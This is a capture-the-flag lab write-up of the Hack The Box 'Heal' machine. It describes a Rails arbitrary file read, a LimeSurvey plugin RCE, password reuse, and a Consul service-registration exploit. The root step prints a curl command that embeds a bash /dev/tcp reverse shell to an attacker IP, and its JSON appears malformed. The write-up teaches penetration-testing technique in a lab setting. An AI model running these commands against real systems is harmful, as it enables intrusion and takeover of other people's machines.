

HEAL - Hack The Box (Linux, Medium)

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1. Introduction

“Heal” is a **Medium**-rated Linux machine from Hack The Box. It hosts multiple web services, including **Ruby on Rails** and **LimeSurvey**, and requires **pivoting** to an internal service (**Consul**) to ultimately gain root privileges.

In this writeup, I’ll walk through the entire process, from the initial network scan and discovering the vulnerable endpoints, to obtaining a limited shell as `www-data`, performing a pivot to the internal Consul service, and finally escalating privileges to **root**.

2. Initial Enumeration

Nmap Scan

First, I ran a standard full-port scan with service detection:

```
nmap -v -p- -sV --min-rate 1000 10.10.10.10
```

The output revealed two primary ports:

22/tcp – SSH

80/tcp – HTTP

I ignored SSH for the moment (since direct exploitation on SSH is uncommon) and concentrated on the HTTP service. Using tools like **dirsearch**, **whatweb**, and **gobuster**, I discovered multiple sites handled by virtual hosts and a possible reverse proxy setup (Nginx + Apache).

3. Discovering the Backend & Arbitrary File Read

Visiting `http://heal.htb`, I encountered a login/registration form that allowed users to fill out CV-style information and export it to PDF. Inspecting these export requests with **Burp Suite** showed the calls were made to `api.heal.htb`, a Ruby on Rails application.

Arbitrary File Read Vulnerability

By manipulating common parameters such as `file=` and `path=`, I discovered an **Arbitrary File Read**. It allowed me to read sensitive system files like `/etc/passwd`. Building on this, I was able to retrieve critical **Rails-specific** files such as:

```
../../config/database.yml
```

```
../../storage/development.sqlite3
```

From these files, I recovered database credentials for the application's administrator account. Although these credentials didn't grant immediate access elsewhere, I noted them for potential password reuse.

4. LimeSurvey Access & First Shell

During further enumeration, I noticed that some pages on `heal.htb` (e.g., "About" or certain error pages) mentioned **LimeSurvey v6.6.4** and a user `ralph@heal.htb`.

A quick search revealed a known **RCE vulnerability (CVE-2021-44967)** in LimeSurvey v6.6.4, exploitable by uploading a malicious plugin (ZIP file).

Exploiting LimeSurvey

I found a relevant exploit script on GitHub that automatically uploads a plugin ZIP containing a reverse shell payload (a `.php` file). Once processed, it provided a reverse shell on my attacker machine, running as `www-data`.

5. Escalation to "Ron" User

Upgrading the Shell

My initial reverse shell was very limited (no proper TTY). I used a shell handler (like "Penelope" or **rlwrap**) to upgrade to a fully interactive TTY and to run enumeration scripts (e.g., LinPEAS).

Finding Ron's Password

Examining the LimeSurvey configuration files in:

```
/var/www/limesurvey/application/config/
```

revealed a cleartext password. I then performed a password-spraying attempt against local users in `/etc/passwd`. The password worked for **ron**, whose home directory contained the **user flag**.

6. Pivoting to Internal Service (Consul)

Local Port Forwarding

Using `netstat -tupln` or `ss -alnp`, I discovered a few services listening exclusively on `127.0.0.1`, notably **port 8500**. By forwarding that port to my local machine (e.g., `ssh -L 8500:127.0.0.1:8500 user@target`), I determined it was running **Consul v1.19.2**.

7. Privilege Escalation to Root

Consul Exploit

A known exploit (Exploit-DB #51117) lets you register a new service in Consul and assign a script to run periodically, bypassing typical access controls.

I crafted a JSON payload to trigger a reverse shell back to my box:

```
curl -X PUT \
-d '{"Address":"127.0.0.1","check":{"Args":["/bin/bash","-c"],"bash -i >&
/dev/tcp/10.10.14.207/8443 0>&1"},"interval":"10s","Timeout":"864000s"},"ID":"gato","Name":"gato","Port":80}' \
http://127.0.0.1:8500/v1/agent/service/register
```

Then, I opened a listener (e.g., `nc -lvp 8443` or Penelope). Within seconds, I received a shell:

```
whoami
root
```

No further escalation was necessary beyond registering this new Consul service.

8. Conclusions

Key lessons from this box:

VHosts & Reverse Proxy: Always enumerate for hidden subdomains or VHosts. Nginx may proxy multiple internal services.

Arbitrary File Read in Rails: If you can read arbitrary files, look for `database.yml`, `.sqlite` DBs, etc. for credentials.

Vulnerable LimeSurvey: Pinpoint application versions. LimeSurvey v6.6.4 is exploitable via malicious plugin uploads.

Password Reuse: Reuse discovered credentials against other services or local users.

Pivoting to Internal Services: Port forward to access services bound to `127.0.0.1`. Critical tools (like Consul) might only be internally exposed.

Consul 1.19.2 RCE: Misconfigurations can allow you to register services that run arbitrary commands as `root`.

Enjoy hacking and have fun exploring this multi-layered challenge!